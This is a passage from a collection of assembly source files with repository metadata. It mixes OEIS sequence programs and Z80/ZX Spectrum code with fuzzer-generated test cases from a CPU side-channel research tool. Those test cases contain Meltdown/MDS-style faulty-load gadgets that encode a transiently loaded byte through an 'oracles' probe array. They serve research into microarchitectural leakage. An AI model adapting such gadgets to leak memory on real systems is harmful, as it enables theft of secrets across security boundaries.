'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}} {'46': 316, '00': 21508, '45': 4, '72': 1} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
29.267913
2,999
0.649814
7f9b93069f1bc2c941d7e25f5c76e691886e0cf3
6,678
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18993_1001.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18993_1001.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18993_1001.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r8 push %rbx push %rdi push %rsi lea addresses_UC_ht+0x85bd, %rdi sub $46115, %r12 movb $0x61, (%rdi) nop nop nop nop inc %rbx lea addresses_WC_ht+0xa67f, %rsi nop nop nop nop add %r12, %r12 mov (%rsi), %r8d dec %rdi lea addresses_normal_ht+0x1b69f, %rdi nop nop nop nop and $33056, %r11 mov $0x6162636465666768, %r8 movq %r8, %xmm3 movups %xmm3, (%rdi) nop nop nop nop dec %r11 lea addresses_A_ht+0x3dbf, %rdi nop nop nop add $17571, %r13 mov (%rdi), %r11 xor %r11, %r11 lea addresses_A_ht+0x6d5f, %rdi cmp $46568, %r13 mov (%rdi), %r8d cmp %rdi, %rdi lea addresses_normal_ht+0x1af5f, %r12 nop nop nop nop nop inc %rsi movl $0x61626364, (%r12) nop and %r12, %r12 lea addresses_UC_ht+0x17cdf, %rdi nop nop nop nop nop xor %r12, %r12 mov (%rdi), %r13 nop nop nop nop nop sub $48391, %rsi lea addresses_D_ht+0xdedf, %r8 clflush (%r8) sub $47856, %rsi movups (%r8), %xmm1 vpextrq $1, %xmm1, %r11 nop nop nop nop inc %rbx lea addresses_normal_ht+0xb3f, %r12 clflush (%r12) nop nop nop add %r8, %r8 movw $0x6162, (%r12) sub $44032, %r13 lea addresses_normal_ht+0x7b5f, %r13 cmp $31053, %rbx mov (%r13), %rdi nop nop nop nop nop dec %r11 pop %rsi pop %rdi pop %rbx pop %r8 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %rax push %rcx push %rdi push %rdx // Store lea addresses_D+0x1f35f, %r12 nop nop nop nop cmp %rdx, %rdx movw $0x5152, (%r12) nop nop nop cmp %r12, %r12 // Load lea addresses_D+0x174ff, %rcx sub $26347, %r14 movb (%rcx), %r13b nop nop nop nop cmp %rdx, %rdx // Faulty Load lea addresses_UC+0xdf5f, %rdx nop nop nop nop cmp %rcx, %rcx movb (%rdx), %al lea oracles, %rdi and $0xff, %rax shlq $12, %rax mov (%rdi,%rax,1), %rax pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'37': 18993} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
35.71123
2,999
0.652441
453d19c44f8f2eb7a55abf26cfa2e469f4d0a050
544
asm
Assembly
oeis/017/A017721.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017721.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017721.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017721: Binomial coefficients C(n,57). ; 1,58,1711,34220,521855,6471002,67945521,621216192,5047381560,37014131440,247994680648,1533058025824,8815083648488,47465835030320,240719591939480,1155454041309504,5271759063474612,22947657099830664,95615237915961100,382460951663844400,1472474663905800940,5469191608792974920,19639369867938409940,68310851714568382400,230549124536668290600,756201128480271993168,2414026679379329824344,7510305224735692786848,22799140860804781674360,67611245311352111172240,196072611402921122399496 add $0,57 bin $0,57
90.666667
480
0.902574
9eda478e76b0c4e28eb7229cdd9d2196aef81b6b
404
asm
Assembly
programs/oeis/100/A100690.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/100/A100690.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/100/A100690.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A100690: a(n) = p * 5^p - 1 where p=prime(n). ; 49,374,15624,546874,537109374,15869140624,12969970703124,362396240234374,274181365966796874,5401670932769775390624,144354999065399169921874,2692104317247867584228515624,1864464138634502887725830078124,48885340220294892787933349609374,33395508580724708735942840576171874 seq $0,40 ; The prime numbers. mov $1,$0 lpb $1 mul $0,5 sub $1,1 lpe sub $0,1
36.727273
271
0.811881
6e69cbfcec0ea660f440af886ee5a255e4ffdf62
1,074
asm
Assembly
libsrc/graphics/generic_console/pixel1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/graphics/generic_console/pixel1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/graphics/generic_console/pixel1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
INCLUDE "graphics/grafix.inc" EXTERN generic_console_printc EXTERN generic_console_plotc EXTERN generic_console_vpeek EXTERN generic_console_pointxy EXTERN textpixl EXTERN __console_w EXTERN __console_h EXTERN __gfx_coords EXTERN GRAPHICS_CHAR_SET EXTERN GRAPHICS_CHAR_UNSET ld a,(__console_w) dec a cp h ret c ld a,(__console_h) dec a cp l ret c ld (__gfx_coords),hl push bc ;save entry bc ld c,h ld b,l push bc IF USEplotc call generic_console_pointxy ELSE ld e,1 ;raw mode call generic_console_vpeek ENDIF IF NEEDplot ld a,GRAPHICS_CHAR_SET ENDIF IF NEEDunplot ld a,GRAPHICS_CHAR_UNSET ENDIF IF NEEDxor ld b,GRAPHICS_CHAR_SET cp GRAPHICS_CHAR_UNSET jr z,xor_done ld b,GRAPHICS_CHAR_UNSET xor_done: ld a,b ENDIF IF NEEDpoint cp GRAPHICS_CHAR_UNSET pop bc ELSE pop bc ;original coordinates IF USEplotc ld d,a ld e,0 ;pixel4 mode call generic_console_plotc ELSE ld d,a ld e,1 ;raw mode call generic_console_printc ENDIF ENDIF pop bc ret
15.794118
52
0.72905
d25edc5cb4cf16d800268e9c5eee3695bdfcc6b4
1,668
asm
Assembly
fill.asm
lmartorella/z80-sample-program
ace704161da9099c8d441028d1ba9b926585962d
[ "MIT" ]
14
2019-05-12T10:50:13.000Z
2022-02-25T01:15:14.000Z
fill.asm
lmartorella/z80-sample-program
ace704161da9099c8d441028d1ba9b926585962d
[ "MIT" ]
3
2021-05-10T13:56:40.000Z
2022-03-25T19:30:40.000Z
fill.asm
lmartorella/z80-sample-program
ace704161da9099c8d441028d1ba9b926585962d
[ "MIT" ]
6
2020-02-17T16:35:20.000Z
2022-03-23T23:20:54.000Z
;=========================================================================== ; fill.asm ; Submodule with memory fill routines. ;=========================================================================== ; Some constants BCKG_LINE_SIZE: equ 32 ; Colors BLACK: equ 0<<3 BLUE: equ 1<<3 RED: equ 2<<3 MAGENTA: equ 3<<3 GREEN: equ 4<<3 CYAN: equ 5<<3 YELLOW: equ 6<<3 WHITE: equ 7<<3 ; Fills a memory area with a certain value. ; a = contains the fill value. ; hl = address to fill ; bc = size fill_memory: ld (hl),a ld e,l ld d,h inc de dec bc ldir ret ; Fills a background line with a color. ; IN: ; a = color ; de = points to background screen ; OUT: ; de = pointing to next line fill_bckg_line: ld bc,BCKG_LINE_SIZE ld l,e ld h,d call fill_memory ; check that destination address is still in screen background ld hl,COLOR_SCREEN+COLOR_SCREEN_SIZE-1 or a ; clear carry sbc hl,de ; compare ret p ; ld start address ld de,COLOR_SCREEN ret ; Increments the fill_colors_ptr and resets it if necessary. inc_fill_colors_ptr: ld hl,(fill_colors_ptr) inc hl ld (fill_colors_ptr),hl ; check if out of range ld bc,fill_colors_end or a ; clear carry sbc hl,bc ; compare ret m ; reset ld hl,fill_colors ld (fill_colors_ptr),hl ret ; Pointer to fill colors. fill_colors_ptr: defw 0 ; Contains the colors for the lines. Each entry represnts the color for one line. fill_colors: defb RED, YELLOW, BLUE, GREEN, MAGENTA fill_colors_end: defb 0 ; WPMEM
20.341463
81
0.570743
837decde8d3f3aab4a541fad930198ea56e07058
486
asm
Assembly
rom_src/variables.asm
zxrepo/UzixLS.zx-sizif-xxs
04ef3fe73e8d1268fed5909807dae2c56fbd5af1
[ "MIT" ]
null
null
null
rom_src/variables.asm
zxrepo/UzixLS.zx-sizif-xxs
04ef3fe73e8d1268fed5909807dae2c56fbd5af1
[ "MIT" ]
null
null
null
rom_src/variables.asm
zxrepo/UzixLS.zx-sizif-xxs
04ef3fe73e8d1268fed5909807dae2c56fbd5af1
[ "MIT" ]
null
null
null
var_save_ay: .32 DB 0 var_save_ulaplus: DB 0 var_sp_reg: DW 0 var_int_vector: DW 0 var_magic_enter_cnt: DB 0 var_magic_leave_cnt: DB 0 var_exit_flag: DB 0 var_exit_reboot: DB 0 var_input_key: DB 0 var_input_key_last: DB 0 var_input_key_hold_timer: DB 0 var_pause_is_released: DB 0 var_main_fun: DW 0 var_menumain: DW 0 var_menu: MENU_T var_menu_current_item: DB 0 var_menu_animate_cnt: DB 0 cfg CFG_T cfg_saved CFG_T cfg_initialized: DB #B1, #5B, #00, #B5 var_save_screen: .6912 DB 0
20.25
38
0.804527
666da4cb38c8b5dc6a9e26d691be20faf9c10403
9,277
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_2118_276.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_2118_276.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_2118_276.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_UC_ht+0x11d6e, %r10 xor %r9, %r9 mov $0x6162636465666768, %rcx movq %rcx, %xmm7 movups %xmm7, (%r10) nop nop nop nop and $23387, %r14 lea addresses_D_ht+0x51ee, %r13 nop nop nop nop nop cmp $7209, %rax movw $0x6162, (%r13) sub $22262, %r9 lea addresses_D_ht+0x1b50e, %rsi lea addresses_WT_ht+0x12d4e, %rdi nop nop nop cmp $46435, %r13 mov $127, %rcx rep movsl nop nop nop nop nop xor $60456, %r9 lea addresses_WT_ht+0xc99e, %rsi nop nop nop nop sub %rdi, %rdi and $0xffffffffffffffc0, %rsi vmovntdqa (%rsi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %rax nop nop and $6189, %r9 lea addresses_UC_ht+0x786, %r9 inc %r13 mov $0x6162636465666768, %r10 movq %r10, (%r9) nop xor %rsi, %rsi lea addresses_UC_ht+0x48e, %rsi lea addresses_UC_ht+0x162ba, %rdi nop nop nop nop nop sub %r14, %r14 mov $31, %rcx rep movsl nop inc %r14 lea addresses_normal_ht+0x1a40e, %r14 xor %rax, %rax mov (%r14), %rcx nop nop cmp $4295, %rcx lea addresses_normal_ht+0x3aee, %rsi sub %r14, %r14 movw $0x6162, (%rsi) add $63265, %rdi lea addresses_WT_ht+0x1090e, %r10 nop nop nop nop inc %rcx movb $0x61, (%r10) nop cmp %r13, %r13 lea addresses_WC_ht+0x1dd7e, %rsi lea addresses_normal_ht+0x810e, %rdi nop nop nop xor $38011, %r10 mov $20, %rcx rep movsb sub $15323, %r14 lea addresses_WC_ht+0x41ce, %rdi nop sub %rcx, %rcx movb $0x61, (%rdi) nop nop nop nop nop inc %r13 lea addresses_D_ht+0x17fa6, %rsi lea addresses_D_ht+0x510e, %rdi nop nop nop nop xor $22634, %r13 mov $103, %rcx rep movsb nop nop nop nop nop xor %rcx, %rcx lea addresses_WC_ht+0x1966e, %r10 clflush (%r10) nop xor $55608, %rdi movw $0x6162, (%r10) add %r14, %r14 lea addresses_WT_ht+0x70c8, %rsi lea addresses_D_ht+0x1658e, %rdi nop nop nop nop sub %rax, %rax mov $98, %rcx rep movsw nop xor $31851, %rsi lea addresses_A_ht+0x8be1, %r9 nop nop nop nop nop add $30591, %rdi movb (%r9), %r13b and %r10, %r10 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %r8 push %rdx push %rsi // Store lea addresses_PSE+0x5a1e, %r10 nop nop nop nop nop sub $9031, %r8 movb $0x51, (%r10) nop add $32097, %r8 // Store lea addresses_normal+0x146ae, %rsi nop nop nop nop and $54396, %r14 movw $0x5152, (%rsi) nop nop nop add $48865, %rsi // Store lea addresses_WT+0x77f6, %r15 nop nop nop nop nop sub %r8, %r8 mov $0x5152535455565758, %rdx movq %rdx, %xmm3 vmovups %ymm3, (%r15) nop nop nop add $19150, %r13 // Store mov $0x50e, %r10 nop xor %rdx, %rdx mov $0x5152535455565758, %r8 movq %r8, %xmm7 movups %xmm7, (%r10) nop nop sub %r10, %r10 // Store lea addresses_US+0x1e70e, %r10 clflush (%r10) and $35821, %rsi movb $0x51, (%r10) nop nop xor $36887, %rdx // Load mov $0xda0, %r8 nop nop nop nop nop xor %rsi, %rsi mov (%r8), %r10w nop sub %rsi, %rsi // Faulty Load lea addresses_normal+0xd90e, %rsi nop nop nop sub $27160, %r8 movups (%rsi), %xmm3 vpextrq $1, %xmm3, %r13 lea oracles, %rdx and $0xff, %r13 shlq $12, %r13 mov (%rdx,%r13,1), %r13 pop %rsi pop %rdx pop %r8 pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': True, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': True, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': True, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': 